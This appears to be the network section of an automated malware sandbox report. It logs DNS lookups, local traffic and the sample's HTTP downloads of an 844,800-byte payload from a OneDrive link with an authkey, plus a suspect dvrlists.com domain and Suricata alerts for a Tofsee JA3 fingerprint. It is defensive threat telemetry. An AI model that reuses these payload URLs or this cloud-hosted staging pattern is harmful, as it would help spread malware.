Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| qcisaa.sn.files.1drv.com |
CNAME
sn-files.fe.1drv.com
CNAME
l-0003.l-msedge.net
|
13.107.42.12 |
| twistednerd.dvrlists.com | 31.3.152.100 | |
| onedrive.live.com |
CNAME
l-0004.l-msedge.net
|
13.107.42.13 |
- UDP Requests
-
-
192.168.56.102:52062 164.124.101.2:53
-
192.168.56.102:52336 164.124.101.2:53
-
192.168.56.102:54322 164.124.101.2:53
-
192.168.56.102:58838 164.124.101.2:53
-
192.168.56.102:59731 164.124.101.2:53
-
192.168.56.102:61115 164.124.101.2:53
-
192.168.56.102:64034 164.124.101.2:53
-
192.168.56.102:64472 164.124.101.2:53
-
192.168.56.102:64995 164.124.101.2:53
-
192.168.56.102:137 192.168.56.255:137
-
192.168.56.102:138 192.168.56.255:138
-
192.168.56.102:49152 239.255.255.250:3702
-
192.168.56.102:49164 239.255.255.250:1900
-
52.231.114.183:123 192.168.56.102:123
-
GET
302
https://onedrive.live.com/download?cid=D6676A9A61E841F3&resid=D6676A9A61E841F3%21155&authkey=AG_5U-eWJ37gdC4
REQUEST
RESPONSE
BODY
GET /download?cid=D6676A9A61E841F3&resid=D6676A9A61E841F3%21155&authkey=AG_5U-eWJ37gdC4 HTTP/1.1
User-Agent: zipo
Host: onedrive.live.com
HTTP/1.1 302 Found
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: -1
Location: https://qcisaa.sn.files.1drv.com/y4mWXp5EDLYFsO4Mv8COFN17VmF4wZZ1B0CoFFnmi_kUIzVtGO4mRYUnRBucqR44BejXsCF9tzyBMFT9qOHxyJaXXDbLrl5S7AOSnCEWxMExlHpT6MVE13IZ5LmwvLRnu4TOCWoZs1q0qmpeeFZsOvDvonMYC6gqigoJAycYxp5hSpFM7PNcxtQ_q-jkTPKQ-JiNUk5KKxhdzVWSI6C0qoWtw/Srakjlekngtcyxfikcsesbckosunxns?download&psid=1
Set-Cookie: E=P:1fD2YmR92Yg=:49YST4HQOBnU+5oCS6KXDuajgsFe6J2cnpm3C42LybM=:F; domain=.live.com; path=/
Set-Cookie: xid=7f5555f9-f301-40e6-b462-528dcb086522&&RD00155D99BE18&310; domain=.live.com; path=/
Set-Cookie: xidseq=1; domain=.live.com; path=/
Set-Cookie: LD=; domain=.live.com; expires=Tue, 21-Sep-2021 23:20:36 GMT; path=/
Set-Cookie: wla42=; domain=live.com; expires=Wed, 29-Sep-2021 01:00:36 GMT; path=/
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-MSNServer: RD00155D99BE18
X-ODWebServer: eastus0-odwebpl
X-Cache: CONFIG_NOCACHE
X-MSEdge-Ref: Ref A: 84CF027C3930445DB419407B4EAFBE29 Ref B: SLAEDGE1007 Ref C: 2021-09-22T01:00:35Z
Date: Wed, 22 Sep 2021 01:00:36 GMT
Content-Length: 0
GET
200
https://qcisaa.sn.files.1drv.com/y4mWXp5EDLYFsO4Mv8COFN17VmF4wZZ1B0CoFFnmi_kUIzVtGO4mRYUnRBucqR44BejXsCF9tzyBMFT9qOHxyJaXXDbLrl5S7AOSnCEWxMExlHpT6MVE13IZ5LmwvLRnu4TOCWoZs1q0qmpeeFZsOvDvonMYC6gqigoJAycYxp5hSpFM7PNcxtQ_q-jkTPKQ-JiNUk5KKxhdzVWSI6C0qoWtw/Srakjlekngtcyxfikcsesbckosunxns?download&psid=1
REQUEST
RESPONSE
BODY
GET /y4mWXp5EDLYFsO4Mv8COFN17VmF4wZZ1B0CoFFnmi_kUIzVtGO4mRYUnRBucqR44BejXsCF9tzyBMFT9qOHxyJaXXDbLrl5S7AOSnCEWxMExlHpT6MVE13IZ5LmwvLRnu4TOCWoZs1q0qmpeeFZsOvDvonMYC6gqigoJAycYxp5hSpFM7PNcxtQ_q-jkTPKQ-JiNUk5KKxhdzVWSI6C0qoWtw/Srakjlekngtcyxfikcsesbckosunxns?download&psid=1 HTTP/1.1
User-Agent: zipo
Host: qcisaa.sn.files.1drv.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Cache-Control: public
Content-Length: 844800
Content-Type: application/octet-stream
Content-Location: https://qcisaa.sn.files.1drv.com/y4mPMXRQ9RhgDP1jnSDjqdPjwRNYCC8VbCCQIIz4UaVns5irDBNa_yn-ZyicxZlvW-LYlCWQzmhigpBCpO3FARGT-64f74-RYENH8l5HfaAN2nmyMHtxluIa5e0WYFEFrJzXBl05G3zkiGu1UYPWkRjY9RtxVFIWXtKrC1OnSrZnLeVzfxb93M_jY-GPHro1Ep0
Expires: Tue, 21 Dec 2021 01:00:37 GMT
Last-Modified: Tue, 21 Sep 2021 14:52:26 GMT
Accept-Ranges: bytes
ETag: D6676A9A61E841F3!155.2
P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
X-MSNSERVER: SN4PPF6571961CF
Strict-Transport-Security: max-age=31536000; includeSubDomains
MS-CV: SO+bBhQ0jkywItirhGnJSw.0
X-SqlDataOrigin: S
CTag: aYzpENjY3NkE5QTYxRTg0MUYzITE1NS4yNTc
X-PreAuthInfo: rv;poba;
Content-Disposition: attachment; filename="Srakjlekngtcyxfikcsesbckosunxns"
X-Content-Type-Options: nosniff
X-StreamOrigin: X
X-AsmVersion: UNKNOWN; 19.758.906.2003
X-Cache: CONFIG_NOCACHE
X-MSEdge-Ref: Ref A: 56E7DD8778CF446089B9BAD867517808 Ref B: SLAEDGE1118 Ref C: 2021-09-22T01:00:36Z
Date: Wed, 22 Sep 2021 01:00:36 GMT
GET
302
https://onedrive.live.com/download?cid=D6676A9A61E841F3&resid=D6676A9A61E841F3%21155&authkey=AG_5U-eWJ37gdC4
REQUEST
RESPONSE
BODY
GET /download?cid=D6676A9A61E841F3&resid=D6676A9A61E841F3%21155&authkey=AG_5U-eWJ37gdC4 HTTP/1.1
User-Agent: aswe
Host: onedrive.live.com
Cache-Control: no-cache
Cookie: E=P:1fD2YmR92Yg=:49YST4HQOBnU+5oCS6KXDuajgsFe6J2cnpm3C42LybM=:F; xid=7f5555f9-f301-40e6-b462-528dcb086522&&RD00155D99BE18&310; xidseq=1; wla42=
HTTP/1.1 302 Found
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: -1
Location: https://qcisaa.sn.files.1drv.com/y4m-c7lQsmglgLpCHVpyfHTv-fo-qQNLzYLhCukCDgEj40L4ouHdE35JcJxP4Ijfjql4AbIkPWnLWZKjaVDd9hzCYT37w7wSTsfuyOqIenEATN10Im-4iQu1BYZ4WA_S_crLSZsoh1f840zSiSvh1atDp1KfoUWub8IBmwBV-Kt8ZMBaS5roYSWAyLyFRCKd15XQR--Mqemnisegp5h6Yx7wQ/Srakjlekngtcyxfikcsesbckosunxns?download&psid=1
Set-Cookie: E=P:Q9DQY2R92Yg=:AKt6vYGSvDUytENmJ6zCxLXyHoloKMvGxoXWQ5/4KtM=:F; domain=.live.com; path=/
Set-Cookie: xidseq=2; domain=.live.com; path=/
Set-Cookie: LD=; domain=.live.com; expires=Tue, 21-Sep-2021 23:20:37 GMT; path=/
Set-Cookie: wla42=; domain=live.com; expires=Wed, 29-Sep-2021 01:00:37 GMT; path=/
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-MSNServer: RD00155D997DB9
X-ODWebServer: eastus0-odwebpl
X-Cache: CONFIG_NOCACHE
X-MSEdge-Ref: Ref A: 8524C6B378C540BE9245F4F423D4AEFC Ref B: SLAEDGE1007 Ref C: 2021-09-22T01:00:37Z
Date: Wed, 22 Sep 2021 01:00:37 GMT
Content-Length: 0
GET
200
https://qcisaa.sn.files.1drv.com/y4m-c7lQsmglgLpCHVpyfHTv-fo-qQNLzYLhCukCDgEj40L4ouHdE35JcJxP4Ijfjql4AbIkPWnLWZKjaVDd9hzCYT37w7wSTsfuyOqIenEATN10Im-4iQu1BYZ4WA_S_crLSZsoh1f840zSiSvh1atDp1KfoUWub8IBmwBV-Kt8ZMBaS5roYSWAyLyFRCKd15XQR--Mqemnisegp5h6Yx7wQ/Srakjlekngtcyxfikcsesbckosunxns?download&psid=1
REQUEST
RESPONSE
BODY
GET /y4m-c7lQsmglgLpCHVpyfHTv-fo-qQNLzYLhCukCDgEj40L4ouHdE35JcJxP4Ijfjql4AbIkPWnLWZKjaVDd9hzCYT37w7wSTsfuyOqIenEATN10Im-4iQu1BYZ4WA_S_crLSZsoh1f840zSiSvh1atDp1KfoUWub8IBmwBV-Kt8ZMBaS5roYSWAyLyFRCKd15XQR--Mqemnisegp5h6Yx7wQ/Srakjlekngtcyxfikcsesbckosunxns?download&psid=1 HTTP/1.1
User-Agent: aswe
Host: qcisaa.sn.files.1drv.com
Cache-Control: no-cache
Connection: Keep-Alive
HTTP/1.1 200 OK
Cache-Control: public
Content-Length: 844800
Content-Type: application/octet-stream
Content-Location: https://qcisaa.sn.files.1drv.com/y4mPMXRQ9RhgDP1jnSDjqdPjwRNYCC8VbCCQIIz4UaVns5irDBNa_yn-ZyicxZlvW-LYlCWQzmhigpBCpO3FARGT-64f74-RYENH8l5HfaAN2nmyMHtxluIa5e0WYFEFrJzXBl05G3zkiGu1UYPWkRjY9RtxVFIWXtKrC1OnSrZnLeVzfxb93M_jY-GPHro1Ep0
Expires: Tue, 21 Dec 2021 01:00:37 GMT
Last-Modified: Tue, 21 Sep 2021 14:52:25 GMT
Accept-Ranges: bytes
ETag: D6676A9A61E841F3!155.2
P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
X-MSNSERVER: SA2PPF6E41F3A1D
Strict-Transport-Security: max-age=31536000; includeSubDomains
MS-CV: OX4oW17vq0yj+qfPEjsC/w.0
X-SqlDataOrigin: S
CTag: aYzpENjY3NkE5QTYxRTg0MUYzITE1NS4yNTc
X-PreAuthInfo: rv;poba;
Content-Disposition: attachment; filename="Srakjlekngtcyxfikcsesbckosunxns"
X-Content-Type-Options: nosniff
X-StreamOrigin: X
X-AsmVersion: UNKNOWN; 19.758.906.2003
X-Cache: CONFIG_NOCACHE
X-MSEdge-Ref: Ref A: D0549F83982045E5866E52C4471BBEF1 Ref B: SLAEDGE1016 Ref C: 2021-09-22T01:00:37Z
Date: Wed, 22 Sep 2021 01:00:37 GMT
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.102:49167 -> 13.107.42.12:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
| TCP 192.168.56.102:49165 -> 13.107.42.13:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
| TCP 192.168.56.102:49166 -> 13.107.42.12:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
| Flow | Issuer | Subject | Fingerprint |
|---|---|---|---|
|
TLSv1 192.168.56.102:49165 13.107.42.13:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01 | CN=onedrive.com | 50:2f:33:10:92:ac:27:7b:17:be:82:68:3b:e2:29:ad:97:41:b7:bb |
|
TLSv1 192.168.56.102:49166 13.107.42.12:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01 | C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com | ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e |
|
TLSv1 192.168.56.102:49167 13.107.42.12:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01 | C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com | ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e |
Snort Alerts
No Snort Alerts